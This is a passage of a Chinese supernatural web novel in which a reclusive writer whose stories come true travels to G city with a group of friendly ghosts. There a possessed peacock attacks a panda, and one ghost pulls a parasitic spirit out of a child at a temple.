克系神话?有这个神话吗?他怎么好像从来没听说过
正当他疑惑之际,一股知识骤然涌入脑海,宴泠昭失神的眼眸重新聚焦,恢复了清明。
嗯,为了把小说主题拉回正轨——克系神话中黑山羊之母又名万物之母,繁殖即是其本质。水鬼受到祂的影响而获得自体繁殖能力,且不断扩张,这样逻辑就自洽了。
尽管将两个截然不同的体系强行结合十分牵强,但鉴于上一篇已经埋下伏笔,现在只能硬着头皮延着写了。
花了将近两个小时整理大纲,活动了下酸胀的手腕,趁热打铁,宴泠昭开始写第一章内容。
键盘声断断续续,有时流畅如行云流水,有时陷入长久的沉默。
窗外天色渐暗,青年完全沉浸其中,忘却了时间的流逝。
直到夜幕低垂,时针逐渐指向十一点,他才终于敲下最后一个句号。伸了个懒腰,感受颈椎的些微酸痛,却也伴随着完成创作的满足感。
宴泠昭打了个哈欠,起身洗漱。最后将诡异们召回体内,熄灯躺下。或许是因为创作消耗了大量精力,他几乎是头一沾枕便坠入梦乡,呼吸很快变得均匀绵长。
可他是安然入睡了,城市的另一端却忙碌了起来。
***
特别档案资料管理处-1层,灯火通明。
段洁和丁萱今晚值夜班。整层楼内非常安静,只有电脑风扇的轻微嗡鸣和偶尔的键盘敲击声。
丁萱撑着脑袋,目光涣散的望着屏幕发呆。作者已经好些天没更新了,而G市那边现在是什么情况也不知道,但愿一切顺利吧。
思绪飘远,她又想起楼下研发部最近的新进展——几款针对诡异的特制武器,据说比初代“黑棍”更加轻便,攻击力也有显著提升。更令人期待的是,研发部正在试图将这种技术应用到子弹上
“作者更新了。”
段洁平静的声音如同惊雷打断了她的思绪。
丁萱瞬间坐直身体,手指闪电般在键盘上敲击刷新页面。果然,那个她们日夜关注的账号下多了一章新内容。
【《寄生》第一章】
随着页面加载完成,她迅速点击进入,同时打开旁边的记录文档,准备记录每一个可能关键的信息。
【雨季笼罩着滨江市,空气中弥漫着潮湿的气息。接连不断的降雨让这座城市的排水系统承受了巨大的压力】
丁萱一边阅读,一边迅速记录着重要情节和设定:
地点:滨江市
时间:九月份
第一位受害者:主角的同事
病媒:水源,可能是自来水系统被污染
寄生生物初步特征:微小卵体,肉眼不可见,通过饮用水传播
【法医刘国勇剖开死者腹腔的瞬间,看到了一种前所未见的生物:形似蚯蚓通体漆黑,有无数手足,数量惊人,几乎填满了死者的整个腹腔。更可怖的是,当他仔细观察时,这些生物竟有规律地蠕动着,仿佛在执行某种集体意志】
丁萱继续记录着每一个细节:
寄生体第二阶段形态(猜测):漆黑蚯蚓状,手足多(类似千足虫/猜测)
首个发现者:法医刘国勇(极可能已被感染或杀害)
重点关注区域:市立水厂、污水处理厂
【赵兴回到家中,胃部隐隐作痛。不过他并未在意,只当是最近工作压力过大,又或者被离奇死亡的同事刺激到
打开冰箱,他取出一瓶矿泉水一饮而尽。透过厨房窗户,他看到悬于天际的明亮满月。
“满月啊”他出神的感慨道。
国人的文化传统中满月有家庭团聚的象征。可惜他与前妻感情破裂,两年前就离了婚。女儿的抚养权也给了前妻,前天女儿还打电话给他,说想他了】
丁萱停下敲击,结尾到主角准备带女儿去水上乐园就结束了。第一章的内容虽然不多,但却埋下了足够多的悬念伏笔。
她抬手按揉着酸痛的脖颈,活动了下有些僵硬的头部,随后转向身旁的段洁,顺便瞥了一眼对方的记录文档。
“咦?”丁萱停下动作,“你为什么要记月亮?”
段洁头也不抬,手指依然在键盘上敲击:“因为最近的血月事件,看到月亮这个词,就下意识记了下来。”
此时办公区里其他同事也陆续完成了工作。
和他们一起值夜班的副主任杨锐峰站起来:“把你们的记录都发给我,我整合以后交上去。”
“是。”众人齐声应道。
丁萱快速检查了一遍自己的内容,确保没有遗漏任何关键信息,随后建了个文件,发到指定邮箱。
***
一夜无梦。
清晨,阳光透过窗帘的缝隙洒落进来。
起床第一件事:将鬼邻居们放出来,让大家各回各家。这已是宴泠昭日常的固定流程。
实际上,除了吃饭时间大家会聚在一起,平时邻居们都更喜欢待在自己家(地盘)里。宴泠昭对此表示理解——毕竟,即使是鬼,也需要自己的私人空间。
只有手机鬼例外,它在小区没有房,只能跟着宴泠昭。
你问王大爷?王大爷有保安亭。
早餐后,宴泠昭拎着垃圾袋下楼去扔。刚走到小区中央的垃圾分类站附近,便看到一个熟悉的身影正在那里忙碌,是保洁阿姨。
宴泠昭的眼皮顿时一跳,本能的想找个地方躲避。但他已经站在了路中间,周围空旷得令人绝望,根本无处可藏。
而就在他犹豫的瞬间,保洁阿姨已经抬头看见了他。阿姨的眼睛立刻亮了起来,放下手中的工具,朝他快步走来。
“小宴,又有好一段时间没看到你了,你真是越来越帅了。”阿姨笑道,声音响亮得几乎传遍整个小区。
这种直白的恭维让宴泠昭感到尴尬,他扯了扯嘴角,回道:“阿姨,您看起来也变年轻了,是最近有什么好事发生吗?”
这么说纯粹是为了转移话题。
不得不说这个策略出奇的有效。保洁阿姨的注意力果不其然被转移了,脸上的笑容更加灿烂,几乎合不拢嘴:“是吗?你看出来了啊,其实是我的女儿要结婚了。”
“恭喜啊。”宴泠昭真诚的说,“新郎是哪里人?”
“是本地小伙子,在银行工作,条件不错。”阿姨说起女儿的婚事,整个人似乎都焕发出光彩,“下个月就要办婚礼了,到时候给你发喜糖。”
“那我先谢谢阿姨了。”宴泠昭礼貌的点头,趁机将垃圾袋放入分类箱。
【作者有话说】
感谢支持~[星星眼]
48 第 48 章
◎前往G市◎
宴泠昭这几天刷视频, 几乎每隔几条视频就能刷到有关G市的旅游内容。
——G市以其独特的山水景观闻名于世。当地群山连绵起伏,一座接一座, 壮阔而秀美。整座城市依山而建,居民们开窗便能看见半山腰。每逢雨后,云雾缭绕于山间,宛若置身仙境,令人心驰神往。
除了山景,G市还有众多清澈幽静的水潭。这些散落在山间的天然水潭, 水质清冽见底,在阳光下泛着碧玉般的光泽。岸边垂柳轻拂,景致幽远飘渺。
时值九月,大多数城市仍处在酷暑之中, 尤其是宴泠昭所在的B市,气温常常飙升至40度以上, 让人难以忍受。
而G市因其独特的地理位置, 即使在盛夏时节, 最高温度也不过30度左右,平日里更是维持在25、26度的宜人温度,堪称一处天然的避暑胜地。加之当地丰富多样的美食文化,更是吸引着无数游客慕名而去。
刷着刷着, 宴泠昭心中莫名升起一股强烈冲动, 想要亲身前往G市一游。这对他而言实属罕见——作为一个社交恐惧症患者, 他很少有出门旅行的想法。
当然,社交恐惧也有其细微分类:有些人单纯厌倦外出, 宁愿足不出户;而另一些则并非抗拒旅行本身, 只是对人群密集的场合心生畏惧。
宴泠昭的情况算是前者占七分, 后者占三分的混合体。
经过两天的内心挣扎, 最终那股冲动劲占了上风。宴泠昭在手机上预订了飞往G市的机票,出发时间定在明天早上九点。
然后,他才想起自己现在已经不是曾经那种完全的“自由人”了。
考虑到工作的不确定性,宴泠昭给朱德宏打去电话,告知自己的行程安排。说起来,最近也没有什么特别任务指派给他
朱德宏听闻宴泠昭要出门旅游,顿时紧张起来。要知道宴泠昭如今相当于一枚行走的核弹——一旦失控,后果不堪设想。
但他又不能限制宴泠昭的自由:之前的实验证明,宴泠昭情绪低落时也可能引发严重灾难。这样的坑,他们绝不能再踩第二次。
直接告诉宴泠昭真相也不可能。宴泠昭一旦知道真相,那位沉睡于月亮上的恐怖存在就极有可能苏醒,那将是一场无法想象的浩劫。
朱德宏一时陷入两难困境,他迅速计算着风险:八月份刚经历过两次血月,只要宴泠昭情绪稳定不受刺激,下一次血月不出意外是在十一月,这段期间宴泠昭外出旅行是可行的。
但问题就在于可能出现的“刺激”。
如果宴泠昭是个喜欢社交、或者不排斥社交的人,他还能派人去保护,但以宴泠昭明显的独处倾向,这一方案显然行不通。
以上一连串的思考在朱德宏脑海中仅用一秒便完成了。所以表面上看朱德宏只是沉吟了两秒钟,然后平静的问道:“嗯你打算去哪里玩?”
【“G市。”】
朱德宏:“?!”
G市?为何偏偏是G市?一瞬间,无数阴谋论在他脑海中浮现。
宴泠昭不喜欢外出,为何突然有了旅游的念头,且目的地恰好是G市——那个经由《水鬼》《寄生》两篇得出最近绝对不会安生的地方。
怎么办?要阻止吗?阻止的确是最好的选择,可用什么借口?若引起宴泠昭不满,很可能这边的危机未解,另一处的灾难又将爆发。
朱德宏头疼欲裂,甚至考虑起极端方案:无法从宴泠昭方面入手,那就只能从G市着手,实施全城封锁。
然这一方案过于激进——以何种理由封城?如此大规模行动必定引发民众恐慌,同样会造成严重后果。
要不然临时安排一项任务给宴泠昭?只要让他忙起来,自然就无暇旅行了。
嗯,这是个好办法。
就在朱德宏准备实施这一计划时,他的大脑突然一片空白,所有顾虑与计划在瞬间消散殆尽。他听见自己平静的说道:“G市确实是个不错的旅游胜地,要不是我太忙了,也想去那边走一遭避个暑行,那祝你玩得愉快。”
挂断电话后,朱德宏继续处理桌上的文件,不再对宴泠昭前往G市一事感到丝毫不妥或担忧,仿佛这只是一次再普通不过的旅行安排。
翌日,宴泠昭按计划前往机场。他的这趟出行准备得相当简洁——一个中型行李箱,一个背包,再加上随身携带的手机、钱包,一切从简。
机场例行手续都很顺利,没有丝毫延误。
不久后,宴泠昭便坐在了自己的位置上,他的座位靠窗。
系好安全带,静待起飞
飞机平稳地滑行、加速,最终冲向天际。随着机身缓缓爬升,地面的景观逐渐缩小,化作一幅俯瞰图。城市的轮廓、道路的脉络、高楼的棱角,全都在视野中渐渐模糊。
当飞机爬升至巡航高度,机翼优雅地划过柔软的云絮,留下一道醒目的白色尾痕。宴泠昭转头望向窗外湛蓝无垠的天空,远离地面的喧嚣,高悬于云端之上,就好像置身于另一个世界。
然而,在这看似平静的旅途中,一种诡异的变化正在悄无声息的发生。
飞机外部。
肉眼看不见的黑色烟雾渐渐凝聚,如同一条巨蟒缠绕着机身。这团黑雾宛若活物,不断延展、蠕动,却对飞行本身毫无干扰。
与此同时,远处天际线忽然出现一个黑点,迅速扩大——那是一群飞鸟,密密麻麻,几乎组成一个巨大的黑色云团,直直的朝着飞机的方向飞来。
驾驶舱内,机长注意到这一异常现象,脸色骤变:“怎么会有这么一大群鸟?”
副驾驶员(机长)同样震惊不已:“不对!从未见过如此集中的鸟群,它们更不该出现在这个高度!”
而且。
电子设备上压根没有显示任何异常,雷达系统也未捕捉到前方存在威胁。可明明他们都亲眼看见了,那黑压压的一片鸟群,少说有几百只,正以惊人的速度接近。
情况紧急,机长当机立断,双手紧握操纵杆:“准备紧急规避!”他迅速抬高拉杆,飞机急速爬升,试图避开即将到来的灾难性撞击。
客舱内,突如其来的剧烈爬升令乘客们猝不及防。
宴泠昭感到一股强大的力量将他压向座椅,身体不受控制的向后倾斜。周围响起几声惊呼和物品滑落的声音。
“咋回事儿?怎么又开始升高了?”一位坐在走道边的中年乘客疑惑的问道,紧张地抓着扶手。
空乘人员表情镇定,但眼神中掩饰不住的同样的困惑暴露了情况的不同寻常:“请大家保持冷静,系好安全带,这只是正常的航行调整。”
驾驶舱。
开车尚且难以避开突发状况,更何况是操控飞机这样体积巨大、转向缓慢的庞然大物。加上更为诡异的是,那群飞鸟像是故意的,跟随飞机的轨迹同步上升,始终保持在同一条平行线上。
“卧槽,见鬼了!”副驾驶员惊呼。
机长面色铁青:“来不及了,准备迎接撞击!”
同一时刻。
宴泠昭的目光静静的注视着舷窗外的苍穹。尽管对飞机骤然爬升感到疑惑,但他并不是航空专业人员,不会对驾驶员的决策妄加置喙,机长的每一个操作必然有其专业考量,无需他来忧虑。
倒是突然之间好困。
宴泠昭忍不住打了个哈欠,眼皮沉重得仿佛挂了铅坠。想着反正至少还有两小时的飞行时间,趁这段时间补个觉也行。
于是他放松身体,不再抵抗那股强大的睡意,任凭眼皮缓缓合上。几乎是瞬间,他便陷入了深沉的睡眠。
而就在宴泠昭进入梦乡的那一刻,缠绕在飞机周围的那团诡异黑烟如露珠般蒸发无踪,即将与机身相撞的鸟群亦凭空消散,仿佛从未存在过。
驾驶舱内,机长仍紧握着操纵杆,面色凝重。忽地,他如梦初醒般颤抖了一下,接着难以置信地松开手。
他在做什么?飞机飞得好端端的,他干嘛突然提升高度?明明昨晚休息充分,精神状态也保持得不错,怎么就走神干出这种事来。
机长深吸一口气,稳住心神,随后将飞行高度缓缓调整回正常巡航水平。
副驾驶员投来询问的目光,但识趣的没有出声。两人仅仅交换了一个复杂的眼神,便重新专注于前方的航线
宴泠昭隐约意识到自己在做梦。
他悬浮于高空之中,与太阳面对面。这显然违背了物理常识——太阳与地球相距数亿公里,而他周围环绕的却是蔚蓝的天空与洁白的云朵,分明还在大气层内。
不过,这既然是一场梦,那这些不合理之处也就正常了。毕竟梦是不受现实逻辑约束的。
正当宴泠昭安然接受这荒谬设定时,眼前灿烂的金色太阳突然发生了骇人的异变:一条条漆黑的触手从它背后倏然裂开的缝隙中延伸出来,将它缠绕、包裹。
宴泠昭看着这一幕,内心涌起的却并非恐惧,而是一种纯粹的厌恶,就如同在家中发现蟑螂般的反感与恶心。
漆黑的触手迅速蔓延,很快便将整个太阳吞噬。随着最后一缕金光湮灭,整个梦境世界陷入黑暗。
一股难以言喻的烦躁感在宴泠昭胸中积聚。他抬起手,打算撕开那些恶心的触手,虽然这个想法本身就令人反胃,但眼下似乎别无选择。
或许是潜意识中的排斥情绪过于强烈,这种抵触最后演化为破坏欲。宴泠昭毫不犹豫地伸出手,一把抓住面前蠕动的触手,随后用力向外猛拽,将其撕裂。
一阵刺耳的尖啸声随即响起,在梦境世界回荡,几乎要震破宴泠昭的耳膜。
也是在这时,宴泠昭感到有人轻轻推了一下自己的肩膀,接着耳边传来温和的呼唤:“先生先生,请醒一醒,我们已经到达目的地了。”
宴泠昭迷蒙的睁开双眼,视线先是聚焦在面前空姐微笑的脸上,随后转向窗外。只见飞机已经停靠在跑道上,周围是G市机场熟悉的景象(他上一次做任务也是坐飞机来的G市)。
阳光透过舷窗洒在他身上,明亮又温暖,与梦中那冰冷死寂的黑暗形成鲜明对比。
宴泠昭眨了眨眼:“谢谢提醒。”他礼貌的向空姐点头致意,随后解开安全带,起身从头顶的行李架上取下自己的行李箱。
【作者有话说】
感谢支持~[猫爪]
49 第 49 章
◎青山公园◎
抵达G市后的首要任务自然是安顿住处。
宴泠昭计划在这座山水名城停留一到两周, 当然,最终行程长短还需视具体情况而定, 毕竟计划永远赶不上变化。
打开某点评应用,他仔细筛选了一家评分优异、口碑上佳的酒店。好在当下并非旅游旺季,游客稀少,无需提前预订,价格也比那时更亲民,很轻松的就订到了。
办理完入住手续, 宴泠昭将行李安置妥当后,没有着急出门。
此次G市之行实属一时兴起,他根本没有事先做好计划,打算随性而为, 慢慢体验这座城市的人文风情。反正他时间充裕,除非突然接到工作任务。
细想来, 这已是他第二次踏足G市。初次到访纯属公务, 时间紧迫, 落地即奔赴任务地点,完成任务后又立刻返回了B市,对这座城市的印象仅停留在车窗掠过的模糊景象中。
打开某音,搜索“G市旅游”关键词, 立即弹出大量相关内容, 评论区也不乏详尽攻略, 甚至拉了表格,将景点、美食、交通等信息条分缕析, 供人参考。
宴泠昭选了个最为详实的指南, 随后打开地图app, 对应着指南搜索最近的景点。
他的策略是从近处开始, 逐步向外探索,后期离得远了,就退掉当前酒店,换到那个地方附近的酒店。
“爱德地图现在为您导航”手机传来温柔的电子女声。
宴泠昭释放出体内的鬼怪们。
关于此次G市之行,他已事先告知众鬼,其中李小虎表现得尤为兴奋,立马就生了心思。
而通过这段时间的相处,李小虎太知道宴泠昭是个什么性格了,当即哀求、撒娇、装可怜一套丝滑小连招用在宴泠昭身上。
“宴哥哥,我小小年纪就死了,还有好多地方没去过,好多事情没体验过,你就可怜可怜我吧,我保证听你的话,绝不闹腾,求求你了,就带我玩吧!”
李小虎想跟着玩也能理解——被封印在宴泠昭体内的鬼怪们感知不到外界发生的一切。
那片空间漆黑一片,与禁闭室无异。对活泼好动的李小虎而言,这种状态已是煎熬。更雪上加霜的是,自从上次被布置了作业,其他鬼怪仿佛找到了乐趣,轮番督促他学习,几乎令李小虎崩溃。
因此当听闻宴泠昭要外出游玩的消息,李小虎迫不及待的请求同行,一方面确实是好奇、新鲜,另一方面也是急于逃离学习的苦海。
天可怜见,为什么鬼还要学习?
话说回来。也正因李小虎动之以情晓之以理的恳切请求,宴泠昭思考后,才决定把众鬼放出来和自己一起游玩。
李小虎算是无意中为众鬼谋了回福利,让众鬼看他的眼神都温和了几分,决定在这段旅程中给李小虎放个假,不逼他学习了。
宴泠昭环视众鬼,刚想提醒某些外形过于异常的成员调整形象或考虑隐身,以免惊吓到路人。众鬼就已极为自觉的收敛了各自的鬼相:
王玲玲将脑袋安放回正常该在的位置。
李小虎青白的肤色不青了,虽依旧苍白,但好歹看着没那么死了。
王大爷遍布全身的尸斑淡化许多,面色变得红润。
李奶奶活动着面部肌肉,搜寻着生前的表情记忆,终于找回那份慈祥和蔼的笑容弧度,笑起来总算没那么阴森渗人了。
田燕婉将遮住大半张脸只露出一只眼睛的长发轻轻拢至脑后,露出惨白如纸的面容,随即又为其增添了几分血色。
何老无需变改变,他的鬼相本就是一位外表温和的老爷子。
手机鬼同样保持原样,他的鬼相是个正常的年轻人(就是与李亮一模一样)。
准备就绪,宴泠昭带着这支特殊的“旅行团”离开酒店。
前台服务员看到宴泠昭身边突然多出一群人,不禁一愣——由于宴泠昭外貌出众,加上当下入住客人不多,她对这位独自办理入住的客人印象深刻。
所以她记得很清楚,宴泠昭是一个人来的。
也许这些人是提前入住酒店的同行者?她最近上的都是白班,人家可能是晚上来的。
思及此,前台服务员便不觉得奇怪了。
***
走出酒店,宴泠昭将第一站定在青山公园。
青山公园最大的特色是免费开放,且因为是山,既可爬,又能观赏山间嬉戏的猴群,据说园内还饲养了多种珍稀动物,最引人注目的莫过于国宝大熊猫了。
作为国家特级保护动物,并非所有动物园都有资格饲养大熊猫。通常,拥有大熊猫的动物园门票价格都不菲,而青山公园却是免费开放,性价比之高,可以说是G市的必玩项目了。
穿过公园大门,宴泠昭发现虽然当下并非旅游高峰,但游客也不算少勉强还在他的接受范围内吧。
李小虎听说能看大熊猫,忍了一路,这会儿再也按捺不住内心的激动,嚷嚷起来:“大熊猫!大熊猫!我们快去看大熊猫吧!”
大熊猫展区位于半山腰,需要攀登一段不短的山路。园内虽设有缆车可直达,但那样便没意思了。
李小虎越喊越来劲,音量不自觉提高。宴泠昭眉头微蹙,刚想说些什么,李奶奶一把按住李小虎的肩膀,笑容和蔼。
这一按的威力立竿见影——李小虎立刻噤声,乖巧得判若两人。
虽然李奶奶什么都没说,也没表现出任何不满的意思,但那只是外人看来。李小虎太知道自己若是再不安静,就要挨抽了。
略感烦躁的宴泠昭见状,收回视线
青山公园的设计颇为人性化,一路以缓坡为主,台阶不多,即便是体力一般的游客也能(相较)轻松的上山。
踩着石板路爬了约两三百米,第一批猴群出现在视野中。
青山公园的猴子是猕猴,也就是传说中心眼最多,会抢夺游客食物、甚至殴打游客的没素质猴。宴泠昭就刷到过游客被猕猴殴打的视频
据说青山公园提供免费狂犬疫苗接种服务,可见被打的人应该不少,是以在这方面的应急措施相当完备。
“哇,猴子!”李小虎惊呼出声。虽然他最期待的是大熊猫,但孩童天性使然,几乎对所有新奇事物都充满好奇,注意力也极易被转移。
李小虎偷眼瞄了眼走在前方的宴泠昭,见宴泠昭没有注意自己,眼睛滴溜溜转了转,将出发前乖乖听话的承诺抛诸脑后,悄悄朝坐在栏杆上的猕猴靠近。
李小虎生前就是个熊孩子,死后这一特质似乎有增无减。他迅速出手,一把抓住猴子的尾巴。
猕猴被这突如其来的袭击吓了一跳,本能地回头龇牙咧嘴,张口就咬。
李小虎眼疾手快,立刻松开手躲开了攻击。原本他只是想摸一下的,但猴子的防卫反应激发了他作为鬼怪的恶劣本性。他挑衅地翘起嘴角,朝猴子露出一个挑衅的笑容。
猕猴本就因攻击落空而恼火,被挑衅更是怒不可遏。它发出尖利的叫声,猛地朝李小虎扑去。
这套动作行云流水,显然经过无数次实战磨练,以至于它知道人类被扑脸时会本能地用手去挡,这时它便能趁着对方惊慌之际又咬又抓,然后迅速逃离现场,徒留受害者在原地束手无策。
可惜这次它找错了对象,对方不是人,是鬼。
就在猴子即将接触到李小虎的瞬间,李小虎的身形突然变得半透明,猴子的攻击径直穿过他的身体,扑了个空。
猴子显然被这超自然现象震惊了,瞪大眼睛呆在原地,随后发出一声惊恐的叫声,转身就跑,动作之快,眨眼就消失在了山林间。
宴泠昭听见身后的骚动回头望去,对上李小虎一脸无辜的模样。
看起来一切正常。
——多亏了此刻游客少,加上李小虎身形短暂透明的异象只在猴子扑来的瞬间发生,所以未被任何人察觉。
确认无事后,宴泠昭转身继续前行。
越往上面猴子越多,李小虎看起来有些蠢蠢欲动,显然在阴差阳错成功戏弄了一只猴子后,他上瘾了。
如果不是猴子,而是更具灵智的动物就好了。
李小虎遗憾的暗戳戳的想。
***
爬至半山腰,动物展区的入口近在眼前。
参观动物同样免费。
离门口最近的是孔雀,随后依次是狐狸、猩猩、蛇、狼等各类动物。
之后就是一个岔路口,路口立着一块指示牌:右侧通往爬行动物区,左侧则是大熊猫、老虎等大型动物的展区。
宴泠昭无特别偏好,先参观哪边都可。但考虑到李小虎对大熊猫的热切期待,他选择了左侧路径。
第一个展馆是老虎馆。
宴泠昭驻足观察,发现展馆内空无一虎。起初他以为是老虎藏了起来,然而环顾全馆后,确认老虎的确不在场内。
这时他听见何老正向附近的游客询问情况:“这儿的老虎怎么不见了?”
“我来的时候它还在,”被问到的游客回答道,“不过那时就看着蔫蔫的了,精神状态不佳。后来我准备离开,看到老虎呕吐不止,工作人员便把它抬走了,估计是送去诊疗了吧。”
原来是生病了,那就没办法了。
既然无法观赏老虎,众人只得继续前行。
第二个展馆就是李小虎殷切期待的大熊猫馆了。
然而,结果却令鬼失望——黑白相间的毛团子蜷缩在角落沉沉睡着。这场景与李小虎想象中的画面相去甚远。
“大熊猫!你动一动啊!”李小虎忍不住喊道。
黑白团子充耳不闻,依旧沉浸在美梦中。
李小虎连呼数声无果,不甘心就此放弃。他再次偷偷观察宴泠昭的动向,确认宴泠昭注意力不在自己身上,迅速凝聚出一团水珠,找准角度,从宴泠昭视线的死角向熊猫抛去。
水球精准命中,将熊猫从梦中惊醒。大熊猫懒洋洋地睁开眼,环顾四周,未发现异常后又闭上了眼睛,继续睡觉。
李小虎还想故技重施,王玲玲的声音幽幽在他耳边慢吞吞响起:“你的作死能力真是一流。”
话音刚落,一阵扑棱棱拍打羽翼的声音响起。只见一只孔雀不知从何处飞来,直接飞入了熊猫馆——熊猫馆是统称,包括外场。
为了方便游客观看大熊猫,迎客期间熊猫都会被放到外场,现在就是在外场。
见此情景,游客们发出惊呼。
“这好像是绿孔雀琪琪!”其中一位游客认出了这只飞入熊猫馆的不速之客,焦急的喊道,“琪琪的展馆是在门口啊,它怎么从那么“远”飞过来的?还这么精准的飞进熊猫馆?遭了!工作人员呢?你们快管管啊!”
绿孔雀是国家一级保护动物,其稀有程度甚至超过大熊猫:在人类的努力下,大熊猫数量如今已恢复至近2000只左右,而绿孔雀却仅存四五百只。两者都面临繁殖困难的问题,然从数量上看,绿孔雀的处境更为危急。
名为琪琪的绿孔雀飞入熊猫展区后,直奔熊猫而去。青山公园的熊猫以懒出名,游客们每次来看它几乎都在睡觉,极少活动。
而绿孔雀造成的动静其实不大,并没有引起熊猫的关注,但它不知道是受了什么刺激发了疯,竟然主动攻击起熊猫。
大熊猫皮糙肉厚,若是被攻击在身体其他部位,或许还不会激怒它。但绿孔雀偏偏啄的是它的眼睛。
剧痛将熊猫从睡梦中惊醒,疼痛激发了它潜藏的凶性。一声怒吼后,熊猫发起猛烈反击。
虽然大熊猫外表憨态可掬,可毕竟属于熊科动物,具备相当的力量与战斗能力。
体型上的绝对优势加上孔雀莫名其妙不知退避,熊猫仅用几个简单动作便将绿孔雀制服。
战斗结束时,熊猫的口鼻沾满鲜血——全部来自那只绿孔雀。
游客们早在冲突开始时就惊呼着呼唤工作人员,但整个过程仅持续几分钟,等工作人员赶到时,战斗已经结束,悲剧已然发生。
李小虎咯咯咯的笑,拍手叫好。
周围的游客用震惊而愤怒的目光盯着他,不理解为何有人会对如此悲剧的场景表现出喜悦。
宴泠昭:“”后悔了。
但后悔是来不及了,宴泠昭只能装作不认识李小虎,并决定以后都不带李小虎玩了。
另一边。
紧急赶来的工作人员不敢贸然接近大熊猫,大熊猫现在状态激动,很容易误伤他们,只能等兽医团队带着麻醉设备抵达,再做后续处理。
游客们则在激烈的谈论这起意外事件:
“天呐,你看到了吗?熊猫动作好快!”
“为什么孔雀会突然攻击熊猫?太不正常了。”
“可怜的绿孔雀,这可是极度濒危物种啊”
几分钟后,兽医小组终于到达。经验丰富的队长迅速评估情况,随即举起麻醉枪,瞄准了此刻正舔舐爪子的大熊猫。
“呲”的一声轻响,麻醉针精准命中目标。
大熊猫的步伐立即变得踉跄起来,意识也逐渐模糊。不消片刻,便软软地倒在地上,沉沉睡去。
工作人员立即行动起来,一部分将熊猫抬上专用担架,一部分处理绿孔雀的遗体。
就在工作人员翻转孔雀尸体的刹那,宴泠昭依稀看到孔雀翅膀下方有一条细长漆黑的东西伸了一下又缩了回去。
宴泠昭问道:“你们看到了吗?”
众鬼:“什么?”
宴泠昭:“算了应该是我看错了。”既然问是什么,那多半就是没看见了。
【作者有话说】
虽然但是,不是李小虎干的,他只是喜欢看血流成河——其实鬼怪都这样,只是他盐都不盐了[摊手]
感谢支持[猫头]
50 第 50 章
◎李小虎:最后再信我一次!◎
即便真的看见了, 或许也只是什么小虫子,动物身上有这玩意儿太正常了。
宴泠昭很快便将这件事抛诸脑后。
管理人员此时也开始有序疏散游客。
两个国宝级保护动物之间的致命冲突, 虽大熊猫无恙,但极其珍稀的绿孔雀死了——眼下肯定是开不下去了,得关闭展区进行调查。
虽然没能完整游览整个动物园,但主要展区已参观得七七八八,因此宴泠昭并无太多遗憾。
青山公园除了有动物园外,还有一座古朴的寺庙。
来都来了, 宴泠昭决定顺道一游。不过,他想到自己身边还跟着一群鬼,他们也跟着去会不会不太好?
“旁边有个寺庙,我打算进去看看, 你们在外面等我?”宴泠昭提议道。
传统观念中,寺庙与鬼怪是天然对立的两极。为避免不必要的麻烦, 宴泠昭不准备带鬼怪们一起, 打算独自参观。
众鬼立刻领会了他的意思, 就连李小虎都听出了弦外之音。
何老笑呵呵道:“没事,我看了,我们能进去。”
宴泠昭顿了下,若有所思的问:“是没有?还是对你们造不成影响?或者不关注?”
“没有。”何老回答。
世界上原本是没有鬼神的。但八十年前鬼怪出现了, 然这并不意味着神佛也随之降临。所以, 准确的说:当今这个世界有鬼无神。
“是这里没有, 还是全世界都没有?”宴泠昭继续问。
何老:“全世界都没有。”
只有鬼怪,没有神佛么。这听起来很不平衡, 从正常思维考虑, 鬼神是一起的, 二者就好比明暗, 不可能只有一个没有另一个
世间万物皆遵循守恒定律,人类不例外,鬼怪也不应特殊。
不过说到底这只是思维惯性引导的结果罢了,谁说必须要平衡?
只是他不由得想到如果自己是大自然(造物主),那断然不能这么做,维持平衡是相当重要的。
或许制约鬼怪的是人类?这样就平衡了。虽然人类现在之于鬼怪是很弱小,但他相信以人类的智慧,很快就能缩短这个差距。
思绪发散到这里,宴泠昭不禁回忆起忘了曾经在哪里看到的话:人类很可能不属于地球原生物种。因为人类出现得太过突兀,按照正常进化路径难以解释人类的这份特异性。
更有科学家(不知道真假)指出地球历史有一段完整的纪年断层,那段时期的历史已无从考证。当然,这些都只是未经证实的猜想,宴泠昭听过便过了,没有放在心上。
摇了摇头,将这些杂念甩出脑外。
既然何爷爷说寺庙不会对他们造成影响,那就一起吧。
不过,鉴于李小虎先前制造的麻烦,宴泠昭这次让李小虎到他身边来,以便他近距离监督,防止李小虎再搞事。
——说实话,他真的很害怕回去后刷视频刷到自己因为李小虎被网暴:)
内容他都想好了:
#逆天熊孩子逆天发言,不知道什么样的家长养出这样的坏种!#
#孩子是家里病得最轻的那个,可见家长的德性有多恶劣!#
#这届网友不行啊,还没把盒开出来吗?#
宴泠昭默了默,决定这次结束后不带李小虎出门了。
至于为何不立即将李小虎收回体内,鉴于李小虎已引起不少关注,若突然凭空消失,很容易被发现。
***
进入寺庙,空气中弥漫着浓郁的香火味,不难闻,也不好闻。
不难闻是味道本身挺香的,不好闻是太浓了熏人。
宴泠昭微微屏住呼吸,打算绕一圈便离开,反正寺庙规模不大,快的话估计几分钟就走完了。
然而刚行至中殿,宴泠昭突然发现余光中的李小虎不见了踪影。他迅速转头环顾,发现李小虎不知何时跑到了香炉前。
香炉前正有一对母子正在烧香祭拜。孩子看上去与李小虎年龄相仿,母亲跪地叩拜,孩子便学着她的样子叩拜。
李小虎不知出于什么目的凑到孩子身旁,当孩子起身时,猛然看到一张陌生面孔近在咫尺,吓了一跳。
宴泠昭冷着脸刚要上前制止,突然停下脚步。
——他看到李小虎伸手在孩子头顶上方的虚空抓了一把,一缕诡异的黑烟被他生生扯出。那黑烟转瞬凝聚成一个婴儿,全身呈不自然的紫色,小小的腹部异常膨胀。
这诡异的紫色婴儿被李小虎抽离后,发出一声愤怒的尖叫,朝李小虎张牙舞爪地扑去。李小虎却轻松地一把揪住婴儿的脑袋将它提起,任凭它四肢短小挣扎不休,始终无法触及李小虎分毫。
这一幕只有宴泠昭和其他鬼怪看得见,普通游客们看到的只是一个男孩对着空气做出奇怪的动作。
“那孩子在干什么?”周围已有好奇的议论声响起。
趁着议论尚未扩大,宴泠昭快步上前,牵住李小虎的另一只手,不由分说地拽着李小虎往外走。
那名孩子目送两人离去,眨了眨眼睛,又摸了摸自己不疼了的肚子。
——也不知道刚才那个吓了他一跳的大哥哥做了什么,他身体里那种持续多日的不适感竟一下子就好了。
走出寺庙后,宴泠昭又前行了一段距离,直到确认远离了人群,才放慢脚步停下来,然后松开李小虎的手,转身看着李小虎,目光落在他手中挣扎不休的婴儿身上。
